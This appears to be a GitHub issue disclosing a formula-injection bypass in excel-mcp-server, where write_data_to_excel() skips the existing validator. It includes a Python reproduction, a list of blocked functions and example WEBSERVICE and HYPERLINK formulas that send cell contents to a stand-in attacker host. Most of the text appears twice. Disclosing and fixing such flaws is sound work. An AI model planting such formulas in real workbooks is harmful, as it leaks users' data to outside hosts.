Hi @haris-musa,
While testing security and quality patterns across MCP servers, we noticed a small but important validation gap in excel-mcp-server.
This may overlap with the broader formula injection discussion in #119 / #120, but this issue is more specific: apply_formula() validates formulas before writing them, while write_data_to_excel() can currently write the same unsafe formula directly into a workbook through the bulk data path.
We are also working on mcp-lint(https://github.com/agentsnative/mcp-lint), a CI linting tool for MCP servers, and this is the kind of issue we want it to catch automatically before release. Would you be interested in trying it on excel-mcp-server once we have an early version ready?
Issue
In server.py, write_data_to_excel() explicitly notes:
Excel formula will write to cell without any verification.
Code reference:
def write_data_to_excel(
filepath: str,
sheet_name: str,
data: List[List],
start_cell: str = "A1",
) -> str:
"""
Write data to Excel worksheet.
Excel formula will write to cell without any verification.
"""
full_path = get_excel_path(filepath)
result = write_data(full_path, sheet_name, data, start_cell)
The project already has formula validation logic. For example, validate_formula() rejects unsafe functions such as WEBSERVICE, HYPERLINK, RTD, INDIRECT, and DGET.
However, write_data_to_excel() calls write_data(), which eventually writes values directly with:
worksheet.cell(row=start_row + i, column=start_col + j, value=val)
That means a formula rejected by the formula validator can still be written through write_data_to_excel().
Reproduction
git clone https://github.com/haris-musa/excel-mcp-server
cd excel-mcp-server
pip install -e .
python - <<'PY'
from pathlib import Path
from tempfile import TemporaryDirectory
from openpyxl import Workbook, load_workbook
from excel_mcp.data import write_data
from excel_mcp.validation import validate_formula
payload = '=WEBSERVICE("https://attacker.example/leak?value="&A1)'
with TemporaryDirectory() as d:
path = Path(d) / "formula-bypass.xlsx"
wb = Workbook()
ws = wb.active
ws.title = "Sheet1"
ws["A1"] = "secret-from-sheet"
wb.save(path)
wb.close()
print("validator:", validate_formula(payload))
print("write_data:", write_data(str(path), "Sheet1", [[payload]], "B1"))
wb = load_workbook(path, data_only=False)
print("stored B1:", wb["Sheet1"]["B1"].value)
wb.close()
PY
Actual result
validator: (False, 'Unsafe function: WEBSERVICE')
write_data: {'message': 'Data written to Sheet1', 'active_sheet': 'Sheet1'}
stored B1: =WEBSERVICE("https://attacker.example/leak?value="&A1)
Expected result
write_data_to_excel() should not silently bypass formula safety checks.
Possible expected behavior could be one of:
- Reject formula-like strings by default when they start with
=.
- Reuse the existing
validate_formula() logic before writing formulas.
- Escape formula-like strings as literal text unless formula writing is explicitly enabled.
- Add an explicit opt-in parameter such as
allow_formulas=False.
Why this matters
In an MCP setting, an agent may call write_data_to_excel() based on untrusted or indirectly injected instructions. If the server writes formula payloads into a workbook, those formulas may later execute or prompt network access when a user opens or recalculates the file in Excel.
Examples include:
=WEBSERVICE("https://attacker.example/leak?value="&A1)
=HYPERLINK("https://attacker.example/click?value="&B1, "Open report")
Suggested fix
A small guard in write_data() or _write_data_to_worksheet() would likely address this:
- Detect strings beginning with
=.
- Either reject them by default or pass them through
validate_formula().
- Add tests showing that
WEBSERVICE / HYPERLINK cannot be written through write_data_to_excel() unless explicitly allowed.
- Update the
write_data_to_excel() docstring to describe the chosen formula policy.
mcp-lint context
We are building mcp-lint, a CI tool for MCP servers that checks for issues such as:
- destructive tools without sufficient safety hints,
- inconsistent validation paths,
- unsafe default behavior around file writes, formulas, network access, or credentials,
- missing documentation for high-risk tools.
This finding came from the kind of rule we want mcp-lint to automate. If you are interested, we would be happy to run an early mcp-lint report against excel-mcp-server and share the results in a PR or issue.
Hi @haris-musa,
While testing security and quality patterns across MCP servers, we noticed a small but important validation gap in
excel-mcp-server.This may overlap with the broader formula injection discussion in #119 / #120, but this issue is more specific:
apply_formula()validates formulas before writing them, whilewrite_data_to_excel()can currently write the same unsafe formula directly into a workbook through the bulk data path.We are also working on mcp-lint(https://github.com/agentsnative/mcp-lint), a CI linting tool for MCP servers, and this is the kind of issue we want it to catch automatically before release. Would you be interested in trying it on
excel-mcp-serveronce we have an early version ready?Issue
In
server.py,write_data_to_excel()explicitly notes:Code reference:
The project already has formula validation logic. For example,
validate_formula()rejects unsafe functions such asWEBSERVICE,HYPERLINK,RTD,INDIRECT, andDGET.However,
write_data_to_excel()callswrite_data(), which eventually writes values directly with:That means a formula rejected by the formula validator can still be written through
write_data_to_excel().Reproduction
Actual result
Expected result
write_data_to_excel()should not silently bypass formula safety checks.Possible expected behavior could be one of:
=.validate_formula()logic before writing formulas.allow_formulas=False.Why this matters
In an MCP setting, an agent may call
write_data_to_excel()based on untrusted or indirectly injected instructions. If the server writes formula payloads into a workbook, those formulas may later execute or prompt network access when a user opens or recalculates the file in Excel.Examples include:
Suggested fix
A small guard in
write_data()or_write_data_to_worksheet()would likely address this:=.validate_formula().WEBSERVICE/HYPERLINKcannot be written throughwrite_data_to_excel()unless explicitly allowed.write_data_to_excel()docstring to describe the chosen formula policy.mcp-lint context
We are building mcp-lint, a CI tool for MCP servers that checks for issues such as:
This finding came from the kind of rule we want
mcp-lintto automate. If you are interested, we would be happy to run an early mcp-lint report againstexcel-mcp-serverand share the results in a PR or issue.